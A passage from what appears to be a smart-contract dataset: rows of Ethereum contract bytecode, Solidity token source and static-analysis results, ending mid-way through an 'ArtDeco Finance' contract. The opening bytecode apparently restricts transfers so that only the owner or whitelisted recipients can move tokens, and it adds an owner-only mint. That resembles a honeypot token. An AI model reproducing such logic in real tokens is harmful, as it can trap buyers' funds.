35b610330600480360360408110156102fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610816565b604051808215151515815260200191505060405180910390f35b6103526108c9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103d6600480360360208110156103aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ef565b6040518082815260200191505060405180910390f35b6103f4610937565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610434578082015181840152602081019050610419565b50505050905090810190601f1680156104615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d9565b604051808215151515815260200191505060405180910390f35b610521600480360360408110156104eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aa6565b604051808215151515815260200191505060405180910390f35b61059d6004803603604081101561055157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b6040518082815260200191505060405180910390f35b6105ff600480360360408110156105c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4b565b005b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106995780601f1061066e57610100808354040283529160200191610699565b820191906000526020600020905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b60006106b76106b0610c1c565b8484610c24565b6001905092915050565b6000600554905090565b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610733848484610e1b565b6107f48461073f610c1c565b6107ef856040518060600160405280602881526020016116b460289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107a5610c1c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113459092919063ffffffff16565b610c24565b600190509392505050565b6000600960009054906101000a900460ff16905090565b60006108bf610823610c1c565b846108ba8560016000610834610c1c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b610c24565b6001905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109cf5780601f106109a4576101008083540402835291602001916109cf565b820191906000526020600020905b8154815290600101906020018083116109b257829003601f168201915b5050505050905090565b6000610a9c6109e6610c1c565b84610a97856040518060600160405280602581526020016117256025913960016000610a10610c1c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113459092919063ffffffff16565b610c24565b6001905092915050565b6000610aba610ab3610c1c565b8484610e1b565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c0e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642041646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b610c18828261148d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610caa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117016024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d30576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061166c6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ea1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806116dc6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116496023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f8f5750600660009054906101000a900460ff165b1561113e57610fff8160405180606001604052806026815260200161168e602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113459092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611092816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611340565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561133a576111fb8160405180606001604052806026815260200161168e602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113459092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361133f565b600080fd5b5b505050565b60008383111582906113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113b757808201518184015260208101905061139c565b50505050905090810190601f1680156113e45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c69642061646472657373000000000000000000000000000000000081525060200191505060405180910390fd5b6115458160055461140590919063ffffffff16565b60058190555061159c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461140590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582085332ce34847522c80dfcade7693b546bd665d8abc40e24df1ea12dae12deb3464736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 1,143 |
0x2bebf5c00c6e0b999397c7b4b04c41ffa101b156 | pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract MyAdvancedToken is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function MyAdvancedToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | 0x606060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012d57806306fdde0314610159578063095ea7b3146101e757806318160ddd1461024157806323b872dd1461026a578063313ce567146102e357806342966c68146103125780634b7503341461034d57806370a082311461037657806379c65068146103c357806379cc6790146104055780638620410b1461045f5780638da5cb5b1461048857806395d89b41146104dd578063a6f2ae3a1461056b578063a9059cbb14610575578063b414d4b6146105b7578063cae9ca5114610608578063dd62ed3e146106a5578063e4849b3214610711578063e724529c14610734578063f2fde38b14610778575b600080fd5b341561013857600080fd5b61015760048080359060200190919080359060200190919050506107b1565b005b341561016457600080fd5b61016c61081e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ac578082015181840152602081019050610191565b50505050905090810190601f1680156101d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f257600080fd5b610227600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108bc565b604051808215151515815260200191505060405180910390f35b341561024c57600080fd5b610254610949565b6040518082815260200191505060405180910390f35b341561027557600080fd5b6102c9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061094f565b604051808215151515815260200191505060405180910390f35b34156102ee57600080fd5b6102f6610a7c565b604051808260ff1660ff16815260200191505060405180910390f35b341561031d57600080fd5b6103336004808035906020019091905050610a8f565b604051808215151515815260200191505060405180910390f35b341561035857600080fd5b610360610b93565b6040518082815260200191505060405180910390f35b341561038157600080fd5b6103ad600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b99565b6040518082815260200191505060405180910390f35b34156103ce57600080fd5b610403600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb1565b005b341561041057600080fd5b610445600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d22565b604051808215151515815260200191505060405180910390f35b341561046a57600080fd5b610472610f3c565b6040518082815260200191505060405180910390f35b341561049357600080fd5b61049b610f42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e857600080fd5b6104f0610f67565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610530578082015181840152602081019050610515565b50505050905090810190601f16801561055d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610573611005565b005b341561058057600080fd5b6105b5600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611025565b005b34156105c257600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611034565b604051808215151515815260200191505060405180910390f35b341561061357600080fd5b61068b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611054565b604051808215151515815260200191505060405180910390f35b34156106b057600080fd5b6106fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111d2565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b61073260048080359060200190919050506111f7565b005b341561073f57600080fd5b610776600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611273565b005b341561078357600080fd5b6107af600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611398565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080c57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b45780601f10610889576101008083540402835291602001916108b4565b820191906000526020600020905b81548152906001019060200180831161089757829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109dc57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610a71848484611436565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610adf57600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0c57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d7257600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610dfd57600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ffd5780601f10610fd257610100808354040283529160200191610ffd565b820191906000526020600020905b815481529060010190602001808311610fe057829003601f168201915b505050505081565b60006008543481151561101457fe5b049050611022303383611436565b50565b611030338383611436565b5050565b60096020528060005260406000206000915054906101000a900460ff1681565b60008084905061106485856108bc565b156111c9578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561115e578082015181840152602081019050611143565b50505050905090810190601f16801561118b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15156111ac57600080fd5b6102c65a03f115156111bd57600080fd5b505050600191506111ca565b5b509392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b60075481023073ffffffffffffffffffffffffffffffffffffffff16311015151561122157600080fd5b61122c333083611436565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075483029081150290604051600060405180830381858888f19350505050151561127057600080fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112ce57600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff161415151561145c57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156114aa57600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540111151561153857600080fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561159157600080fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156115ea57600080fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505600a165627a7a723058205169252f3f4cadc20af759a178aae2e7203711a62efaa78cb2ac536570ea438b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 1,144 |
0x58f62d9b184be5d7ee6881854dd16898afe0cf90 | pragma solidity ^0.5.16;
/**
* @title ArtDeco Finance
*
* @notice Valid NFT-Factory Contract
*
*/
interface Proxy {
function setValidFactory( address[] calldata _factorylist ) external;
function addValidFactory( address _newfactory ) external;
function removeFactory( address _oldfactory ) external;
function isValidfactory( address _factory ) external view returns (bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
int256 constant private INT256_MIN = -2**255;
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below
int256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0); // Solidity only automatically asserts when dividing by 0
require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
